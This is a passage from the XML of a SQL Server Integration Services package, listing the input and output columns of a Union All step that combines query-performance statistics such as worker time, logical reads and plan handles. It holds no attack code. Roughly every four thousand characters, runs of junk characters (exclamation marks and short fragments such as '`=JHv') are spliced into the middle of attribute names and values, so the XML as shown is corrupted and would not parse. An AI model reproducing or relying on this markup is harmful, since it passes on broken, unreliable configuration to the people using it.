Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineag	!!!!!!!!!!!!!!!!!!!!!!!!`=JHveId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]"><properties><property containsID="true" dataType="Syste	!!!!!!!!!!!!!!!!!!!!!!!!`=JpJHvm.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[sql_handle]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_handle]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_id]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_worker_time]" cachedDataType="i8" cachedName="snapshot_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_worker_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Creat	!!!!!!!!!!!!!!!!!!!!!!!!`=J[sHve Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_worker_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_physical_reads]" cachedDataType="i8" cachedName="snapshot_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_physical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_physical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_logical_reads]" cachedDataType="i8" cachedName="snapshot_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_reads]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_logical_reads]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_logical_writes]" cachedDataType="i8" cachedName="snapshot_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_logical_writes]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_logical_writes]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_clr_time]" cachedDataType="i8" cachedName="snapshot_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_clr_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and t	!!!!!!!!!!!!!!!!!!!!!!!!`=(rHvext\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_clr_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_elapsed_time]" cachedDataType="i8" cachedName="snapshot_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_elapsed_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_elapsed_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[collection_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[snapshot_execution_count]" cachedDataType="i8" cachedName="snapshot_execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRC - Calculate delta value between last snapshot and current snapshot for every metric.Outputs[Derived Column Output].Columns[snapshot_execution_count]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[snapshot_execution_count]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 1].Columns[old_execution_count]" cachedDataType="i8" cachedName="old_execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Outputs[Merge Join Output].Columns[old_execution_count]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and inte	!!!!!!!!!!!!!!!!!!!!!!!!`=ZZHvresting stats.Outputs[Union All Output 1].Columns[old_execution_count]}</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3]" hasSideEffects="true" name="Union All Input 3"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[statement_start_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_start_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[statement_end_offset]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_end_offset]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[collection_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[collection_time]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[sql_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Ca	!!!!!!!!!!!!!!!!!!!!!!!!`=9euHvpture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[sql_handle]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[plan_handle]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_handle]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output].Columns[plan_generation_num]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_generation_num]}</property></properties></inputColumn><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 3].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\DRV - Add plan_generation_num column.Outputs[Derived Column Output].Columns[creation_time]"><properties><property containsID="true" dataType="System.Int32" description="Output column lineage ID" name="OutputColumnLineageID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[creation_time]}</property></properties></inputColumn></inputColumns><externalMetadataColumns/></input><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Inputs[Union All Input 2]" dangling="true" hasSideEffects="true" name="Union All Input 2"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1]" name="Union All Output 1"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_worker_time]" dataType="i8" lineageId="Packa	!!!!!!!!!!!!!!!!!!!!!!!!`=!aHvge\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_worker_time]" name="old_total_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_physical_reads]" name="old_total_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_logical_writes]" name="old_total_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_logical_reads]" name="old_total_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_clr_time]" name="old_total_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[old_total_elapsed_time]" name="old_total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_start_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_start_offset]" name="statement_start_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_end_offset]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Uploa	!!!!!!!!!!!!!!!!!!!!!!!!`=%X;BuHvd Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[statement_end_offset]" name="statement_end_offset"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[creation_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[creation_time]" name="creation_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_generation_num]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[plan_generation_num]" name="plan_generation_num"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[last_execution_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[last_execution_time]" name="last_execution_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[execution_count]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[execution_count]" name="execution_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_worker_time]" name="total_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_physical_reads]" name="total_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_logical_writes]" name="total_logical_writes"/><outputColumn refId="Packag	!!!!!!!!!!!!!!!!!!!!!!!!`=)$Hve\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_logical_reads]" name="total_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_clr_time]" name="total_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[total_elapsed_time]" name="total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[max_worker_time]" name="max_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\UNION - Combine interesting requests and interesting stats.Outputs[Union All Output 1].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and 